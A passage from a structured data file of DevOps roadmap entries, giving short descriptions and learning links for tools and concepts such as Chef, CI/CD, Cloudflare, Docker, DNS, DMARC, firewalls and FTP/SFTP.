    "content": "# Chef\n\nEmerging in 2009, Chef (now known as Progress Chef) is one of the earliest configuration management tools to gain popularity. Chef \"Recipes\" are written in Ruby, in a primarily declarative style. Chef requires that a client is installed on a server being managed. This client polls a Chef-Server regularly, to determine what its configuration should be. Chef-Solo is also available, a version of Chef that allows provisioning of a single node by running chef locally. A key tenet of Chef recipe design is the concept of idempotence. All Chef recipes should be runnable multiple times and produce the same result - this is especially necessary in cases where the client/server model listed above is in use. This pattern of configuration management is highly influential for future declarative tools like Terraform and Cloud Formation.\n\nVisit the following resources to learn more:\n\n- [@official@Chef Website](https://www.chef.io/products/chef-infra)\n- [@article@Chef Tutorial](https://www.tutorialspoint.com/chef/index.htm)\n- [@video@chef/chef](https://github.com/chef/chef)\n- [@feed@Explore top posts about Chef](https://app.daily.dev/tags/chef?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/ci--cd-tools@aQJaouIaxIJChM-40M3HQ.md",
    "content": "# CI/CD\n\nCI/CD is a method to frequently deliver apps to customers by introducing automation into the stages of app development. The main concepts attributed to CI/CD are continuous integration, continuous delivery, and continuous deployment. CI/CD is a solution to the problems integrating new code can cause for development and operations teams. Specifically, CI/CD introduces ongoing automation and continuous monitoring throughout the lifecycle of apps, from integration and testing phases to delivery and deployment. Taken together, these connected practices are often referred to as a \"CI/CD pipeline\" and are supported by development and operations teams working together in an agile way with either a DevOps or site reliability engineering (SRE) approach.\n\nVisit the following resources to learn more:\n\n- [@article@CI vs CD](https://www.atlassian.com/continuous-delivery/principles/continuous-integration-vs-delivery-vs-deployment)\n- [@article@What is CI/CD?](https://www.redhat.com/en/topics/devops/what-is-ci-cd)\n- [@video@DevOps CI/CD Explained in 100 Seconds](https://www.youtube.com/watch?v=scEDHsr3APg)\n- [@video@CI/CD In 5 Minutes](https://www.youtube.com/watch?v=42UP1fxi2SY)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/circle-ci@1-JneOQeGhox-CKrdiquq.md",
    "content": "# CircleCI\n\nCircleCI is a popular continuous integration and continuous delivery (CI/CD) platform that automates the build, test, and deployment processes of software projects. It supports a wide range of programming languages and integrates with various version control systems, primarily GitHub and Bitbucket. CircleCI uses a YAML configuration file to define pipelines, allowing developers to specify complex workflows, parallel job execution, and custom environments. It offers features like caching, artifact storage, and Docker layer caching to speed up builds. With its cloud-based and self-hosted options, CircleCI provides scalable solutions for projects of all sizes, helping teams improve code quality, accelerate release cycles, and streamline their development workflows.\n\nVisit the following resources to learn more:\n\n- [@official@CircleCI Website](https://circleci.com/)\n- [@video@CircleCI Tutorial for Beginners](https://www.youtube.com/watch?v=_XaYv9zvHUk)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/cloud-design-patterns@Qc0MGR5bMG9eeM5Zb9PMk.md",
    "content": "# Cloud Design Patterns\n\nCloud design patterns are reusable solutions to common problems encountered in cloud computing architectures. These patterns address challenges related to scalability, reliability, security, and performance in distributed systems. They provide best practices for designing and implementing cloud-native applications, covering aspects such as data management, messaging, resiliency, and deployment. Examples include the Circuit Breaker pattern for handling faults, the CQRS pattern for separating read and write operations, and the Sidecar pattern for deploying components of an application into a separate process or container. By leveraging these patterns, developers can create more robust, efficient, and maintainable cloud applications that better utilize the benefits of cloud platforms.\n\nVisit the following resources to learn more:\n\n- [@course@30 Cloud Design Patterns in depth](https://www.youtube.com/watch?v=cxYHugyNTP0)\n- [@official@Cloud Design Patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/)\n- [@article@Cloud design patterns, architectures, and implementations](https://docs.aws.amazon.com/prescriptive-guidance/latest/cloud-design-patterns/introduction.html)"
  },
  {
    "path": "src/data/roadmaps/devops/content/cloud-providers@2Wd9SlWGg6QtxgiUVLyZL.md",
    "content": "# Cloud Providers\n\nCloud providers provide a layer of APIs to abstract infrastructure and provision it based on security and billing boundaries. The cloud runs on servers in data centers, but the abstractions cleverly give the appearance of interacting with a single “platform” or large application. The ability to quickly provision, configure, and secure resources with cloud providers has been key to both the tremendous success and complexity of modern DevOps.\n\nVisit the following resources to learn more:\n\n- [@article@Cloud Service Provider](https://www.techtarget.com/searchitchannel/definition/cloud-service-provider-cloud-provider)\n- [@article@What are Cloud Providers?](https://www.redhat.com/en/topics/cloud-computing/what-are-cloud-providers)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/cloud-smith@vsmE6EpCc2DFGk1YTbkHS.md",
    "content": "# Cloud Smith\n\nCloudsmith is a cloud-native package management platform that enables organizations to manage and distribute software packages across their infrastructure. It provides a centralized repository for storing, managing, and deploying packages, making it easier to manage complex software dependencies and ensure consistency across environments. Cloudsmith supports a wide range of package formats, including Docker, Helm, npm, pip, and more. It also integrates with popular development tools like Jenkins, GitLab, and CircleCI, making it easy to automate package management and deployment workflows.\n\nVisit the following resources to learn more:\n\n- [@official@Cloud Smith](https://cloudsmith.com/)\n- [@official@Cloud Smith Product Overview](https://cloudsmith.com/product/)\n- [@video@Intro to Cloud Smith](https://www.youtube.com/watch?v=wVtRfpjKqBM)"
  },
  {
    "path": "src/data/roadmaps/devops/content/cloud-specific-tools@yQ4d2uiROZYr950cjYnQE.md",
    "content": "# Cloud Specific Tools\n\nThere are several cloud-specific tools for securely storing and managing secrets, such as:\n\n*   AWS Secrets Manager: AWS Secrets Manager is a service provided by Amazon Web Services (AWS) for securely storing and managing secrets. It provides features such as automatic secret rotation and integration with other AWS services.\n*   Google Cloud Secret Manager: Google Cloud Secret Manager is a service provided by Google Cloud for securely storing and managing secrets. It provides features such as automatic secret rotation and integration with other Google Cloud services.\n*   Azure Key Vault: Azure Key Vault is a service provided by Microsoft Azure for securely storing and managing secrets. It provides features such as automatic secret rotation and integration with other Azure services.\n\nVisit the following resources to learn more:\n\n- [@article@AWS Secrets Manager - Amazon Web Services](https://aws.amazon.com/secrets-manager/)\n- [@article@Google Cloud Secret Manager - Google Cloud](https://cloud.google.com/secret-manager)\n- [@article@Azure Key Vault - Microsoft Azure](https://azure.microsoft.com/en-us/services/key-vault/)\n- [@video@AWS Secrets Manager Service Overview with Demo](https://www.youtube.com/watch?v=GwVWWn2ZKj0)\n- [@video@Google Cloud Secret Manager](https://www.youtube.com/watch?v=nsrADMrp4BI)\n- [@video@What is Azure Key Vault Used For?](https://www.youtube.com/watch?v=pnOFP_oijxw)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/cloudflare@l8VAewSEXzoyqYFhoplJj.md",
    "content": "# Cloudflare\n\nCloudflare is a internet company that provides a range of services to help protect and accelerate websites and applications. At its core, Cloudflare is a content delivery network (CDN) and a reverse proxy cloud provider. This means that it acts as an intermediary between a website's origin server and its visitors, caching content and filtering out malicious traffic. Cloudflare was founded in July 2009 by Matthew Prince, Lee Holloway, and Michelle Zatlyn. The company was venture-capital funded and submitted its S-1 filing for IPO on the New York Stock Exchange in August 2019. It opened for public trading on September 13, 2019, at $15 per share.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare](https://cloudflare.com/)\n- [@video@Introduction to Cloudflare](https://www.youtube.com/watch?v=24cml1rKGBs)\n- [@feed@Explore top posts about Cloudflare](https://app.daily.dev/tags/cloudflare?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/cloudformation@TgBb4aL_9UkyU36CN4qvS.md",
    "content": "# CloudFormation\n\nAWS CloudFormation is a infrastructure-as-code service that allows users to define and provision AWS infrastructure resources using templates. These templates, written in JSON or YAML, describe the desired AWS resources and their properties. CloudFormation automates the creation, update, and deletion of resources, ensuring consistent and repeatable deployments across multiple environments. It supports a wide range of AWS services and can manage complex interdependencies between resources. CloudFormation also provides features like change sets for previewing changes, nested stacks for modular designs, and drift detection to identify manual changes. This service enables teams to version control their infrastructure, implement best practices, and streamline the management of AWS resources throughout their lifecycle.\n\nVisit the following resources to learn more:\n\n- [@official@AWS CloudFormation](https://aws.amazon.com/cloudformation/)\n- [@video@Create and Delete an AWS CloudFormation Stack](https://www.youtube.com/watch?v=fmDG-W5TFp4)\n- [@feed@Explore top posts about AWS CloudFormation](https://app.daily.dev/tags/aws-cloudformation?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/configuration-management@V9sOxlNOyRp0Mghl7zudv.md",
    "content": "# Configuration Management\n\nConfiguration management is a systems engineering process for establishing consistency of a product’s attributes throughout its life. In the technology world, configuration management is an IT management process that tracks individual configuration items of an IT system. IT systems are composed of IT assets that vary in granularity. An IT asset may represent a piece of software, or a server, or a cluster of servers. The following focuses on configuration management as it directly applies to IT software assets and software asset CI/CD. Software configuration management is a systems engineering process that tracks and monitors changes to a software systems configuration metadata. In software development, configuration management is commonly used alongside version control and CI/CD infrastructure. This post focuses on its modern application and use in agile CI/CD software environments.\n\nVisit the following resources to learn more:\n\n- [@article@What is Configuration Management?](https://www.atlassian.com/microservices/microservices-architecture/configuration-management)\n- [@article@What is configuration management? - RedHat](https://www.redhat.com/en/topics/automation/what-is-configuration-management)\n- [@video@Why You Need to Learn Configuration Management](https://www.youtube.com/watch?v=9In7ysQJGBs)"
  },
  {
    "path": "src/data/roadmaps/devops/content/consul@OXOTm3nz6o44p50qd0brN.md",
    "content": "# Consul\n\nConsul is a service mesh solution providing a full featured control plane with service discovery, configuration, and segmentation functionality. Each of these features can be used individually as needed, or they can be used together to build a full service mesh. Consul requires a data plane and supports both a proxy and native integration model. Consul ships with a simple built-in proxy so that everything works out of the box, but also supports 3rd party proxy integrations such as Envoy.\n\nVisit the following resources to learn more:\n\n- [@official@What is Consul?](https://www.consul.io/docs/intro)\n- [@opensource@Consul Guides](https://github.com/hashicorp/consul-guides)\n- [@video@Consul Service Mesh Tutorial for Beginners](https://www.youtube.com/watch?v=s3I1kKKfjtQ)\n- [@feed@Explore top posts about HashiCorp](https://app.daily.dev/tags/hashicorp?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/contabo@eJZdjheptmiwKsVokt7Io.md",
    "content": "# Contabo\n\nContabo is a German web hosting and dedicated server provider known for offering affordable virtual private servers (VPS) and dedicated servers with high performance specifications. They provide a range of hosting solutions, including shared hosting, VPS, dedicated servers, and storage solutions, catering to both individual developers and businesses. Contabo is particularly popular among budget-conscious users for its competitive pricing on high-resource VPS plans. Their services include features like SSD storage, DDoS protection, and data centers in multiple locations. While not as well-known as some larger cloud providers, Contabo has gained a reputation in the hosting community for offering good value for money, especially for users requiring substantial computing resources at lower costs.\n\nVisit the following resources to learn more:\n\n- [@official@Contabo](https://contabo.com/)"
  },
  {
    "path": "src/data/roadmaps/devops/content/container-orchestration@Yq8kVoRf20aL_o4VZU5--.md",
    "content": "# Container Orchestration\n\nContainer orchestration is the process of managing and automating the lifecycle of containers, including their deployment, scaling, and networking across multiple hosts. It is a critical technology for running complex containerized applications in production environments.\n\nBy leveraging tools like Kubernetes, Docker Swarm, and Apache Mesos, organizations can ensure high availability, scalability, and reliability for their applications. Container orchestration simplifies operations by automating routine tasks and providing a robust foundation for microservices, cloud-native development, and DevOps practices.\n\nVisit the following resources to learn more:\n\n- [@article@What is Container Orchestration?](https://www.redhat.com/en/topics/containers/what-is-container-orchestration)\n- [@article@What is Kubernetes?](https://kubernetes.io/docs/tutorials/kubernetes-basics/)\n- [@article@Docker Swarm](https://docs.docker.com/engine/swarm/)\n- [@video@Introduction to Kubernetes](https://www.youtube.com/watch?v=PH-2FfFD2PU)"
  },
  {
    "path": "src/data/roadmaps/devops/content/containers@CQhUflAcv1lhBnmDY0gaz.md",
    "content": "# Containers\n\nContainers are lightweight, portable, and isolated environments that package applications and their dependencies, enabling consistent deployment across different computing environments. They encapsulate software code, runtime, system tools, libraries, and settings, ensuring that the application runs the same regardless of where it's deployed. Containers share the host operating system's kernel, making them more efficient than traditional virtual machines. Popular containerization platforms like Docker provide tools for creating, distributing, and running containers. This technology supports microservices architectures, simplifies application deployment, improves scalability, and enhances DevOps practices by streamlining the development-to-production pipeline and enabling more efficient resource utilization.\n\nVisit the following resources to learn more:\n\n- [@article@What are Containers?](https://cloud.google.com/learn/what-are-containers)\n- [@article@What is a Container?](https://www.docker.com/resources/what-container/)\n- [@article@Containers - The New Stack](https://thenewstack.io/category/containers/)\n- [@video@What are Containers?](https://www.youtube.com/playlist?list=PLawsLZMfND4nz-WDBZIj8-nbzGFD4S9oz)\n- [@feed@Explore top posts about Containers](https://app.daily.dev/tags/containers?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/data-management@5FN7iva4DW_lv-r1tijd8.md",
    "content": "# Data Management\n\nData management is the key element of cloud applications, and influences most of the quality attributes. Data is typically hosted in different locations and across multiple servers for reasons such as performance, scalability or availability, and this can present a range of challenges. For example, data consistency must be maintained, and data will typically need to be synchronized across different locations.Additionally data should be protected at rest, in transit, and via authorized access mechanisms to maintain security assurances of confidentiality, integrity, and availability. Refer to the Azure Security Benchmark Data Protection Control for more information.\n\nVisit the following resources to learn more:\n\n- [@article@Data management patterns](https://docs.microsoft.com/en-us/azure/architecture/patterns/category/data-management)\n- [@video@What is Master Data Management](https://www.youtube.com/watch?v=l83bkKJh1wM)\n- [@feed@Explore top posts about Data Management](https://app.daily.dev/tags/data-management?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/datadog@BHny2Emf96suhAlltiEro.md",
    "content": "# Datadog\n\nDatadog is a monitoring and analytics platform for large-scale applications. It encompasses infrastructure monitoring, application performance monitoring, log management, and user-experience monitoring. Datadog aggregates data across your entire stack with 400+ integrations for troubleshooting, alerting, and graphing.\n\nVisit the following resources to learn more:\n\n- [@official@Datadog Website](https://www.datadoghq.com/)\n- [@official@Datadog Documentation](https://docs.datadoghq.com/)\n- [@feed@Explore top posts about DevOps](https://app.daily.dev/tags/devops?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/datadog@bujq_C-ejtpmk-ICALByy.md",
    "content": "# Datadog\n\nDatadog is a monitoring and analytics platform for large-scale applications. It encompasses infrastructure monitoring, application performance monitoring, log management, and user-experience monitoring. Datadog aggregates data across your entire stack with 400+ integrations for troubleshooting, alerting, and graphing.\n\nVisit the following resources to learn more:\n\n- [@official@Datadog Website](https://www.datadoghq.com/)\n- [@official@Datadog Documentation](https://docs.datadoghq.com/)\n- [@feed@Explore top posts about DevOps](https://app.daily.dev/tags/devops?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/design-and-implementation@1_NRXjckZ0F8EtEmgixqz.md",
    "content": "# Design and Implementation\n\nGood design encompasses factors such as consistency and coherence in component design and deployment, maintainability to simplify administration and development, and reusability to allow components and subsystems to be used in other applications and in other scenarios. Decisions made during the design and implementation phase have a huge impact on the quality and the total cost of ownership of cloud hosted applications and services.\n\nVisit the following resources to learn more:\n\n- [@article@Design and Implementation Patterns](https://docs.microsoft.com/en-us/azure/architecture/patterns/category/design-implementation)"
  },
  {
    "path": "src/data/roadmaps/devops/content/digital-ocean@-h-kNVDNzZYnQAR_4lfXc.md",
    "content": "# DigitalOcean\n\nDigitalOcean is a cloud infrastructure provider that offers simple, affordable, and developer-friendly virtual private servers, known as \"Droplets.\" It focuses on providing straightforward cloud computing services, including virtual machines, managed databases, object storage, and Kubernetes clusters. DigitalOcean is known for its user-friendly interface, transparent pricing, and extensive documentation, making it popular among developers, startups, and small to medium-sized businesses. The platform emphasizes simplicity and performance, offering features like one-click applications, team management, and a robust API for automation. While not as feature-rich as some larger cloud providers, DigitalOcean's streamlined approach and competitive pricing make it an attractive option for those seeking uncomplicated cloud infrastructure solutions.\n\nVisit the following resources to learn more:\n\n- [@official@DigitalOcean](https://www.digitalocean.com/)\n- [@article@DigitalOcean Hacktoberfest](https://hacktoberfest.com/)\n- [@video@Getting Started With Kubernetes on DigitalOcean](https://www.youtube.com/watch?v=cJKdo-glRD0)\n- [@feed@Explore top posts about DigitalOcean](https://app.daily.dev/tags/digitalocean?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/dmarc@5vUKHuItQfkarp7LtACvX.md",
    "content": "# DMARC\n\nDMARC (Domain-based Message Authentication, Reporting, and Conformance) is an email authentication protocol that builds upon SPF and DKIM to protect against email spoofing and phishing attacks. It allows domain owners to specify how email receivers should handle messages that fail authentication checks. DMARC provides a feedback mechanism for domain owners to receive reports on email authentication results, helping them monitor and improve their email security. By implementing DMARC policies, organizations can enhance their email deliverability, protect their brand reputation, and reduce the likelihood of their domain being used in fraudulent email campaigns. DMARC is widely adopted by major email providers and is considered a crucial component of modern email security strategies.\n\nVisit the following resources to learn more:\n\n- [@official@DMARC](https://dmarc.org/)\n- [@video@What is DMARC: Email Security You Need to Know About](https://www.youtube.com/watch?v=zLxJLKf-ua8)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/dns@Vu955vdsYerCG8G6suqml.md",
    "content": "# DNS\n\nDNS (Domain Name System) is a hierarchical, decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It translates human-readable domain names (like [www.example.com](http://www.example.com)) into IP addresses (like 192.0.2.1) that computers use to identify each other on the network. DNS serves as the internet's phone book, enabling users to access websites using easy-to-remember names instead of numerical IP addresses. The system comprises DNS servers, resolvers, and records (like A, CNAME, MX), working together to route internet traffic efficiently. DNS is crucial for internet functionality, affecting everything from web browsing and email to load balancing and service discovery in modern cloud architectures.\n\nVisit the following resources to learn more:\n\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@article@How DNS Works (comic)](https://howdns.works/)\n- [@video@DNS and How does it Work?](https://www.youtube.com/watch?v=Wj0od2ag5sk)\n- [@feed@Explore top posts about DNS](https://app.daily.dev/tags/dns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/docker-swarm@VD24HC9qJOC42lbpJ-swC.md",
    "content": "# Docker Swarm\n\nA Docker Swarm is a group of either physical or virtual machines that are running the Docker application and that have been configured to join together in a cluster. Once a group of machines have been clustered together, you can still run the Docker commands that you're used to, but they will now be carried out by the machines in your cluster. The activities of the cluster are controlled by a swarm manager, and machines that have joined the cluster are referred to as nodes.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Swarm Documentation](https://docs.docker.com/engine/swarm/)\n- [@article@Tutorial: Manage Docker Swarm with Portainer](https://thenewstack.io/tutorial-manage-docker-swarm-with-portainer/)\n- [@article@Tutorial: Create a Docker Swarm with Persistent Storage Using GlusterFS](https://thenewstack.io/tutorial-create-a-docker-swarm-with-persistent-storage-using-glusterfs/)\n- [@video@Docker Swarm | Introduction | Step By Step Examples](https://www.youtube.com/watch?v=Xaea-XnJTJU)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/docker@P0acFNZ413MSKElHqCxr3.md",
    "content": "# Docker\n\nDocker is an open-source platform that automates the deployment, scaling, and management of applications using containerization technology. It enables developers to package applications with all their dependencies into standardized units called containers, ensuring consistent behavior across different environments. Docker provides a lightweight alternative to full machine virtualization, using OS-level virtualization to run multiple isolated systems on a single host. Its ecosystem includes tools for building, sharing, and running containers, such as Docker Engine, Docker Hub, and Docker Compose. Docker has become integral to modern DevOps practices, facilitating microservices architectures, continuous integration/deployment pipelines, and efficient resource utilization in both development and production environments.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Docker Roadmap](https://roadmap.sh/docker)\n- [@official@Docker Documentation](https://docs.docker.com/)\n- [@opensource@Awesome Docker](https://github.com/veggiemonk/awesome-docker)\n- [@article@Docker Getting Started Guide](https://docs.docker.com/get-started/)\n- [@course@DevOps with Docker](https://courses.mooc.fi/org/uh-cs/courses/devops-with-docker)\n- [@video@Docker Tutorial](https://www.youtube.com/watch?v=RqTEHSBrYFw)\n- [@video@Docker simplified in 55 seconds](https://youtu.be/vP_4DlOH1G4)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/devops/content/domain-keys@RYCD78msIR2BPJoIP71aj.md",
    "content": "# Domain Keys\n\nDomainKeys is an email authentication method designed to verify the domain of an email sender and ensure message integrity. Developed by Yahoo, it was a precursor to DKIM (DomainKeys Identified Mail). DomainKeys uses public key cryptography to allow email systems to verify that a message was sent by an authorized sender and hasn't been tampered with in transit. The sending server signs outgoing emails with a private key, and receiving servers can verify the signature using a public key published in the sender's DNS records. While largely superseded by DKIM, DomainKeys played a crucial role in the evolution of email authentication techniques aimed at combating email spoofing and phishing attacks.\n\nVisit the following resources to learn more:\n\n- [@article@DomainKeys Identified Mail](https://www.brainkart.com/article/DomainKeys-Identified-Mail_8493/)\n- [@video@What is DKIM? DomainKeys Identified Mail](https://www.youtube.com/watch?v=IBhO0akhMlQ)"
  },
  {
    "path": "src/data/roadmaps/devops/content/drone@TsXFx1wWikVBVoFUUDAMx.md",
    "content": "# Drone\n\nDrone is an open-source continuous integration (CI) platform built on container technology. It automates building, testing, and deploying code using a simple, YAML-based pipeline configuration stored alongside the source code. Drone executes each step of the CI/CD process in isolated Docker containers, ensuring consistency and reproducibility. It supports multiple version control systems, offers parallel execution of pipeline steps, and provides plugins for integrating with various tools and services. Drone's lightweight, scalable architecture makes it suitable for projects of all sizes, from small teams to large enterprises. Its focus on simplicity and containerization aligns well with modern DevOps practices and microservices architectures.\n\nVisit the following resources to learn more:\n\n- [@official@Drone](https://www.drone.io/)\n- [@official@Drone Documentation](https://docs.drone.io/)\n- [@video@Drone CI Quickstart](https://www.youtube.com/watch?v=Qf8EHRzAgHQ)\n"
  },
  {
    "path": "src/data/roadmaps/devops/content/elastic-stack@K_qLhK2kKN_uCq7iVjqph.md",
    "content": "# Elastic Stack\n\nThe Elastic Stack, formerly known as ELK Stack, is a set of open-source tools for searching, analyzing, and visualizing data in real-time. It consists of four main components: Elasticsearch (a distributed search and analytics engine), Logstash (a data processing pipeline), Kibana (a data visualization and management tool), and Beats (lightweight data shippers). Together, these tools enable users to collect data from various sources, process and enrich it, store it in a searchable format, and create interactive visualizations and dashboards. The Elastic Stack is widely used for log analytics, application performance monitoring, security information and event management (SIEM), and business intelligence applications, offering scalability and flexibility for handling large volumes of diverse data.\n\nVisit the following resources to learn more:\n\n- [@official@Elastic Stack](https://www.elastic.co/elastic-stack/)\n- [@article@Logstash vs Fluentd](https://logz.io/blog/fluentd-logstash/)\n- [@video@Master the Elastic Stack: Elastic Stack Overview](https://www.youtube.com/watch?v=CfCTWVAwFbQ)\n- [@feed@Explore top posts about ELK](https://app.daily.dev/tags/elk?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/envoy@epLLYArR16HlhAS4c33b4.md",
    "content": "# Envoy\n\nOriginally created at Lyft, Envoy is a high-performance data plane designed for service mesh architectures. Lyft open sourced it and donated it to the CNCF, where it is now one of the CNCF’s graduated open source projects. Envoy is a self contained process that is designed to run alongside every application server. All of the Envoys form a transparent communication mesh in which each application sends and receives messages to and from localhost and is unaware of the network topology.\n\nVisit the following resources to learn more:\n\n- [@official@Envoy](https://www.envoyproxy.io/)\n- [@opensource@envoyproxy/envoy](https://github.com/envoyproxy/envoy)\n- [@article@What is Envoy?](https://www.envoyproxy.io/docs/envoy/latest/intro/what_is_envoy)\n- [@feed@Explore top posts about Envoy](https://app.daily.dev/tags/envoy?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/firewall@f3tM2uo6LLSOmyeFfLc7h.md",
    "content": "# Firewall\n\nFirewall is a **network security device** that monitors and filters incoming and outgoing network traffic based on an organization’s previously established security policies. It is a barrier that sits between a private internal network and the public Internet. A firewall’s main purpose is to allow non-threatening traffic in and to keep dangerous traffic out.\n\nVisit the following resources to learn more:\n\n- [@article@What is Firewall?](https://www.checkpoint.com/cyber-hub/network-security/what-is-firewall/)\n- [@article@Types of Firewall](https://www.cisco.com/c/en_in/products/security/firewalls/what-is-a-firewall.html)\n- [@article@Uncomplicated Firewall (UFW)](https://dev.to/coder7475/uncomplicated-firewall-ufw-1638)\n- [@article@Why do we need Firewalls?](https://www.tutorialspoint.com/what-is-a-firewall-and-why-do-you-need-one)\n- [@video@Firewalls and Network Security - SimpliLearn](https://www.youtube.com/watch?v=9GZlVOafYTg)\n- [@feed@Explore top posts about Firewall](https://app.daily.dev/tags/firewall?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/fluxcd@6gVV_JUgKgwJb4C8tHZn7.md",
    "content": "# Flux CD\n\nFluxCD is a GitOps-based continuous delivery tool for Kubernetes. It automates the deployment of applications by using Git repositories as the source of truth for defining the desired state of a system. FluxCD continuously monitors these repositories and automatically applies changes to the cluster when differences are detected. It supports multi-tenancy, Helm releases, and provides features like automated image updates and notifications. FluxCD enables declarative, version-controlled infrastructure and application management, promoting consistency across environments and simplifying the deployment process. Its integration with Kubernetes makes it particularly useful for cloud-native applications, allowing teams to implement efficient, automated, and auditable deployment workflows.\n\nVisit the following resources to learn more:\n\n- [@official@Flux CD](https://docs.fluxcd.io/)\n- [@video@Introduction to Flux CD on Kubernetes](https://www.youtube.com/watch?v=X5W_706-jSY)\n- [@feed@Explore top posts about Flux](https://app.daily.dev/tags/flux?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/forward-proxy@F93XnRj0BLswJkzyRggLS.md",
    "content": "# Forward Proxy\n\nA forward proxy, often simply called a proxy, is a server that sits between client devices and the internet, forwarding requests from clients to web servers. It acts on behalf of clients, potentially providing benefits like anonymity, security, and access control. Forward proxies can cache frequently requested content, filter web traffic, bypass geographical restrictions, and log user activity. They're commonly used in corporate networks to enforce internet usage policies, enhance security by hiding internal network details, and improve performance through caching. Unlike reverse proxies, which serve resources on behalf of servers, forward proxies primarily serve client-side needs, acting as an intermediary for outbound requests to the wider internet.\n\nVisit the following resources to learn more:\n\n- [@article@What is Forward Proxy?](https://www.fortinet.com/resources/cyberglossary/proxy-server)\n- [@article@Forward vs Reverse Proxy](https://oxylabs.io/blog/reverse-proxy-vs-forward-proxy)\n- [@video@Understanding Proxy, Forward Proxy, and Reverse Proxy](https://www.youtube.com/watch?v=HrG0MHkSsCA)"
  },
  {
    "path": "src/data/roadmaps/devops/content/freebsd@PiPHFimToormOPl1EtEe8.md",
    "content": "# FreeBSD\n\nFreeBSD is a free, open-source Unix-like operating system descended from the Berkeley Software Distribution (BSD). Known for its stability, performance, and advanced networking capabilities, FreeBSD is popular for server environments, embedded systems, and as a basis for network appliances. It features a monolithic kernel, a comprehensive set of userland utilities, and a ports collection for easy software installation. FreeBSD supports a wide range of architectures and includes advanced features like the ZFS file system, jails for containerization, and the pf packet filter. While less common in desktop environments, it's widely used in internet infrastructure, storage systems, and by companies requiring a robust, customizable OS with a permissive license.\n\nVisit the following resources to learn more:\n\n- [@official@FreeBSD](https://www.freebsd.org/)\n- [@official@FreeBSD Resources for Newbies](https://www.freebsd.org/projects/newbies/)\n- [@official@FreeBSD Documentation](https://docs.freebsd.org/en/)\n- [@official@FreeBSD Handbook](https://docs.freebsd.org/en/books/handbook/)\n- [@video@FreeBSD in 100 Seconds](https://www.youtube.com/watch?v=NKHzcXwTdB4)"
  },
  {
    "path": "src/data/roadmaps/devops/content/ftp--sftp@RDLmML_HS2c8J4D_U_KYe.md",
    "content": "# FTP / SFTP\n\nFTP (File Transfer Protocol) is a standard network protocol used for transferring files between a client and a server on a computer network. It operates on a client-server model, typically using separate control and data connections between the client and server. FTP allows users to upload, download, and manage files on remote systems, supporting both authenticated and anonymous access. While widely used for its simplicity and compatibility, FTP has security limitations as it transmits data and credentials in plain text. As a result, more secure alternatives like SFTP (SSH File Transfer Protocol) and FTPS (FTP Secure) have gained popularity for sensitive data transfers. Despite its age, FTP remains in use for various file transfer needs, especially in legacy systems and where security is less critical.\n\nSFTP (SSH File Transfer Protocol) is a secure file transfer protocol that provides file access, transfer, and management functionalities over a secure shell (SSH) data stream. It's designed as an extension of SSH to offer secure file transfer capabilities. SFTP encrypts both commands and data in transit, protecting against eavesdropping and man-in-the-middle attacks. Unlike traditional FTP, SFTP uses a single connection and doesn't separate control and data channels. It supports features like resuming interrupted transfers, directory listings, and remote file removal. SFTP is widely used in enterprise environments for secure file transfers, automated scripts, and as a more secure alternative to FTP. Its integration with SSH makes it a preferred choice for system administrators and developers working with remote systems securely.\n\nVisit the following resources to learn more:\n\n- [@article@FTP vs SFTP vs FTPS](https://www.fortinet.com/resources/cyberglossary/file-transfer-protocol-ftp-meaning)\n- [@article@What is SFTP?](https://www.kiteworks.com/risk-compliance-glossary/sftp/)"
  },
  {
    "path": "src/data/roadmaps/devops/content/gcp-functions@JXsctlXUUS1ie8nNEgIk9.md",
    "content": "# GCP Cloud Functions\n\nVisit the following resources to learn more:\n\n- [@official@GCP Cloud Functions Overview](https://cloud.google.com/functions/docs/concepts/overview)\n- [@article@GCP Cloud Functions Tutorial](https://antonputra.com/google/google-cloud-functions-tutorial/)\n- [@video@Cloud Functions in a minute](https://www.youtube.com/watch?v=BL4ZlPEamDo)\n- [@feed@Explore top posts about Google Cloud Platform](https://app.daily.dev/tags/gcp?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/git@uyDm1SpOQdpHjq9zBAdck.md",
